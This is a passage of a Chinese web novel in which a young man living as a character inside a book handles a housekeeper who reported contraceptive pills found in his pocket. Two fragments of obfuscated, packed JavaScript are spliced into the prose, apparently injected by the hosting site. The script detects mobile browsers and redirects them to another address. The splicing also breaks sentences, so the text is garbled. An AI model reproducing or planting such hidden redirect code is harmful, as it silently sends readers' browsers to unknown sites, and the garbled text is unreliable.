l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467790|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恋。 投影仪里一共存放了这两段视频,而这两段视频又设置了循环播放,孟弃就站在那里连着看了好几遍,因为画面里不曾出现书中“孟弃”的身影,只有书中“孟弃”的声音,所以他就像个旁观者一样,匆匆走过了任随一的童年和青春期。 有那么一瞬间,孟弃觉得此时此刻的他和书中“孟弃”合二为一了,因为他们都是旁观者,是随时都有可能下线的小配角。 但他只是通过观看录像的方式短暂地参与了这两段就已经难过到不行了,不知道一直困在其中的书中“孟弃”又该难过成什么样,所以他的到来换来的不仅是书中“孟弃”重生的希望吧,或许还是一种彻底的解脱? 这么算的话,他的穿书之旅好像也挺有意义的…… 当然,有意义的前提是他得能顺利冲破生死大关,在这本书里好好地活下去!不然啥都是白扯!孟弃撇了撇嘴,走过去把那台投影仪关掉,再次环顾了一圈房间内的所有东西后,走出房间,并果断地把房门重新锁了起来。 大概,或许,以后他再也不会进来了。 疲累之极的孟弃特别想去好好地睡一觉,最好是谁也不要打扰他的那种,因此他在进卧室之前先对住家阿姨说他不吃晚饭了,晚上的时候不要叫醒他,他要睡到明天早上再起来吃早餐。 住家阿姨听后连连点头,然后对孟弃说,“少爷,我把你身上的这套衣服洗一洗吧,看着有些皱了呢,不显精神。” 从住家阿姨那欲言又止的神情中,孟弃猜到阿姨想说的是皱过头了,特显颓废。 孟弃猜对了,住家阿姨就没见书中“孟弃”穿过质量这么差的衣服,皱皱巴巴的不说,多余的线头都快随风飘成流苏了!她先是指了指孟弃的袖口,然后又指了指孟弃的领口,最后委婉着说,“少爷,你不会是被商家给骗了吧?你看衣服上这么多线头,再看这领口,做工好差劲的,不仅没给做包边,就连走线都是歪的,少爷以后可不要再买这家的衣服了。” 孟弃小脸儿一红,尴尬地挠了挠头,“随手拿的,可能拿到残次品了吧。” 他不可能实话实说不是买的品牌货,而是在街边的小店里买的便宜货,一件T恤只花了二十五,那么大一件防晒外套也才七十六。 这么便宜,还要什么自行车,他自己真挺满意的。 听孟弃这么说,住家阿姨先是疑惑着点头,然后又自信万分地说,“没事没事,反正阿姨会手工活,等洗完晒干后阿姨给你改一改,保管和新的一样。” 孟弃嗯嗯嗯着答应,转身便逃进卧室里去,快速换好睡衣后把换下来的衣服递给住家阿姨,又叮嘱阿姨了一句话,“要是太麻烦就算了,将就着穿就行。” “这哪儿能将就呢,要是被老爷太太知道我没把您照顾好,说不定他们真得把我给辞退了,”住家阿姨接过孟弃递过来的衣服后又里外翻着检查了一遍,一边检查一边摇头,“生产这件衣服的商家亏不亏心啊,你看看,哪哪儿都是毛病。” 孟弃讪笑着退回卧室关上房门,然后默默发誓以后再也不敢随便买衣服了。 就连住家阿姨都这么挑剔,那他的后妈和亲爹得挑剔成什么样啊,搞不好都会冲着他的面门来上一句:什么眼光,真是丢人现眼…… 17. 第 17 章 转天一大早,孟弃是被早餐的香气给唤醒的。 身下的这张弹簧床确实比大学宿舍里的那张木板床好睡一百倍,睡过这极为舒服的一觉后,连日来的疲惫感就已经消失个七七八八,所以刚醒来时的孟弃心情还算美丽,他先是伸了一个超长的懒腰,然后才揉着眼睛从松松软软的弹簧床上坐起来。 可是这张床再舒服,但还是比他爷爷奶奶专门找木匠给他打制的那张榆木床难睡那么一点点,这个陌生的世界里应该没有什么东西比得过他自己家里的东西,想到这一点的孟弃仿佛被蚂蚁在心口上叮了一下般,心尖尖就那么抽疼了一下,然后他的好心情就消散了,之后就坐在床边发起呆来,心想今天已经是他来到这里的第三天了,希望也能顺利度过去。 书中“孟弃”的卧室里有独立的卫生间,打开花洒的一刹那就有温热的水流出来,孟弃挺心动的,马上就决定先好好地洗个热水澡再出去吃早餐,清清爽爽的也能让人的心情好一些。 往下脱睡衣的时候背部和腰部依然有酸酸胀胀的痛感,就像连着打了一天的篮球后第二天刚起床时的感觉,反正不是很舒服。 刚开始时孟弃误以为这是他的灵魂还没和书中“孟弃”的这具身体融合好的原因,直到透过盥洗台上的那面镜子看到后背上那些青青紫紫的痕迹时,他才真正懂了这酸酸胀胀的感觉究竟是怎么一回事儿。 真不如不懂。 孟弃被臊了个脸红,然后就快速把头给扭了回来,直到洗完澡也没敢再看那面镜子一眼。 住家阿姨做的早餐真挺丰盛的,一笼酱肉包,一笼鲜肉烧卖,一笼鸡蛋、南瓜和玉米的拼盘,一碗香油蒸蛋,一碟清炒时蔬,一碟青椒炒肉,还有一碗冒着腾腾热气的蛋花汤,看得孟弃口水直流,肚子都跟着咕咕叫了两声。 孟弃的爷爷奶奶准备的早餐从没有这么丰盛过,一般都是一碟爽口小咸菜加一碗白粥,额外再加两颗水煮蛋,或者是煎蛋,填饱肚子是目的,没讲究过营养搭配。 不过就算再简单那也是一份无可替代的饱含着亲情的饭菜啊,因此即便面前的吃食再丰盛,孟弃还是想回家。 住家阿姨一看本来还精神抖擞的孟弃忽然就像霜打的茄子似的蔫头耷脑起来,就误以为今天做的这些吃食不合孟弃的胃口,所以下一秒她便忐忑不安地问孟弃,“是不喜欢吃这些吗?不喜欢吃也没关系的,你告诉阿姨想吃什么,阿姨再去给你做。” 被唤回神志的孟弃连忙表现出对眼前的美食特别满意的样子,坐下之后先啃了一口酱肉包,又喝了一口蛋花汤,然后一脸满足地对住家阿姨说,“很喜欢的,阿姨的手艺没得挑,做什么都好吃。” 住家阿姨看着孟弃大快朵颐的样子才稍稍松了一口气,待孟弃吃个差不多饱的时候却又支支吾吾地对孟弃说,“少爷,太太说今天让你回家一趟……” “让我回家?什么时候说的?”孟弃惊了,立马抬头看向住家阿姨,“太太把电话打到你那里去了?” 为什么没有打给他啊,如果打给他的话他还可以试着以书中“孟弃”的口吻拒绝一下,现在好了,木已成舟,真的是骑虎难下了。 孟弃大惑不解地看向住家阿姨,心想这位阿姨怕不是他后妈的眼线吧,早知道是这样的话昨天真应该趁机把她给解雇了,现在的孟弃万分后悔昨天因自己的一时心软错失了辞退这位卧底阿姨的机会。 那些他不会的技能和这位卧底阿姨比起来可真都不够看啊,这位才是真正的隐形炸弹。 被孟弃那双因惊吓过度而变得圆溜溜的大眼睛盯住的住家阿姨似乎比孟弃更紧张,匆忙向孟弃解释,“少爷,这次是我多管闲事主动联系的太太,你可别怪她。” 孟弃:…… 所以说嘞,您为什么要多管闲事啊?我怎么着您嘞!咱俩可是拢共没说几句话,总不能因为我买了一身不过百的衣服您就去打我小报告吧…… 被彻底无语到的孟弃真的是无语到家了。 住家阿姨更慌了,继续往下解释,“是这样的少爷,我昨天帮你洗衣服的时候在你的上衣口袋里发现了…发现了那个,少爷,不是阿姨说哈,你现在还小呢,很多事情还看不清楚,我是怕你…怕你交友不慎走弯路,想了一整夜之后我就把这件事情告诉给太太了。” 发现了那个? 那个是哪个? 孟弃揉着额头想了又想,忽然就被天雷击中了天灵盖。 他想起来了,住家阿姨说的“那个”是避孕药,还是一整板上恰好少了一颗的,明眼人一看就知道是被人吃过了的…… 说什么来着,一个人在陌生的地方单打独斗时就得时时刻刻提高防备心,千万不能掉以轻心,这不,一时不察直接就给自己挖了个深渊巨坑! 可真是嫌他自己的命太长了。 “阿姨,您怎么不先问问我那药是怎么来的,又是干什么用的呢?”孟弃已经烦躁到不想说话了,有气无力地问道。 “我…少爷,我是真怕你出事儿,你说你长得这么好看,又多才多艺的,最主要的是还有钱,我怕你身边会围上来一些……就说之前你带回来一起玩游戏的那个一头红发的孩子吧,阿姨搭眼一看就觉得他不像个正经孩子。” 孟弃:…… 首先先谢谢您在这种时候还不忘拍我的马屁,其次红头发的况辉虽然总是痞里痞气的,看上去确实不像好人,但他真的是个正儿八经的好孩子,据说是以全校前三十名的成绩考入他们学校的呢,是深藏不露的准学霸。 虽然心累,但孟弃觉得有必要向住家阿姨替况辉澄清一下,“他就是看着吊儿郎当了一些,但性格绝对是好的,您误会他了。” 听孟弃这么说,住家阿姨明显紧张起来,主动向孟弃认错道,“少爷,不管怎么说都是我逾越了,你生气是应该的。” 唉,要是道歉有用,还要警察干什么…… 不过抛开自己这层见不得光的身份不谈,人家住家阿姨给家长打小报告的行为也不能说是错的,至少出发点是好的,由此可见这位阿姨是真的关心书中“孟弃”,因此孟弃努力平复了一下躁动的情绪,默念着不能也不该对这位阿姨发火,反而还得奖励奖励她呢,然后硬挤出来笑容对着住家阿姨笑了笑,“您不用自责,我知道您是为我好。” 只这么一句话,都给住家阿姨整落泪了。 孟弃更加于心不忍,但该说的也得说,不然机会再次错失掉,他去哪儿哭啊,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467791|201320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此他硬下心肠冷了语气对住家阿姨说,“但是阿姨,我都已经是二十多岁的人了,自己的事情可以自己做主,也知道什么该做什么不该做,所以咱以后再遇见什么烦心的事情时,您先问问我,听听我的解释,行不行?” 被孟弃突如其来的威慑力震慑住的住家阿姨立马就变得惶恐起来,连声说,“行行行,少爷,一定行的。” 孟弃也不想假装霸总吓唬住家阿姨,但为了好好地活下去,他只能选择狐假虎威……希望有朝一日住家阿姨能理解他吧。 本来被色香味俱全的早餐给香了一个跟头的孟弃已经完全没了胃口,而且一想到他接下来要去孟家老宅见那群对书中“孟弃”了解到不能再了解的孟家人时,心脏的律动都变快了,那种感觉就像是要去赴一场鸿门宴,能不能全须全尾地回来都是个未知数。 况且他都不知道孟家老宅在哪儿,怎么去啊…… 低着头为接下来的闯关之旅默哀了足有一分钟,孟弃才抬起头来拿出手机,给祁运发了一条消息,问他知不知道孟家老宅在哪儿。 祁运是知道的,不仅很快就把孟家老宅的住址给孟弃发了过来,同时还发过来一个车牌号,说是孟弃的车子的车牌号,眼下这辆车应该正停在孟弃所在小区的地下车库里。 可是有车没用啊,孟弃无奈叹气,他都没有考过驾照,压根分不清油门和离合在哪里。 孟弃没敢把实话告诉给祁运,只说现在的他还没想起来怎么开车。 “梁文开会开车,要不要叫他送你回去?”祁运提议道。 这倒是个办法,孟弃觉得可行,但他没有梁文开的联系方式,就拜托祁运帮他联系一下梁文开,同时还说明了不会让梁文开白干活,事后会给他报酬。 祁运痛快地答应了,过了没一会儿就给孟弃发消息说已经安排好了,大约一个小时之后梁文开就会来孟弃家接孟弃。 孟弃想对祁运说谢谢,但联想到书中“孟弃”的性格,谢谢这两个字就被他给咽了回去,接着转头把上次许诺给祁运的三千块钱转给祁运,以此表达他的谢意。 一开始时祁运说什么也不收,但孟弃坚持给,并向祁运解释说一码归一码,那三千块钱是他许诺过的,他不能说话不算数,但现在他已经把祁运当做朋友了,以后不会再这么做,让祁运不要有负担,直接收下就行。 祁运点了接收,反过来给孟弃发过来两个字:谢谢。 处理完怎么去孟家老宅的事情,接下来就该处理自己的妆造问题了,好在书中“孟弃”的品味很专一,衣柜里大都是运动套装,随便拿一套出来就能直接穿,不存在搭错的问题,孟弃对着衣柜看了半天,最终选了一套棕色系运动装。 棕色属于冷色系,颜色相对晦暗,可以很好地降低他的存在感。 而这个结果,相信也是他的后妈,不对,是书中“孟弃”的后妈李锦桐喜闻乐见的。 收拾妥当的孟弃看了一眼手机时间,距离他和祁运互发最后一条消息才过去半个小时,也就是说再有半个小时的时间他就要只身奔赴修罗场。 此时的孟弃更加紧张了,甚至开始坐卧难安起来,闭着眼睛等待梁文开的同时也祈祷时间能过得再慢一些。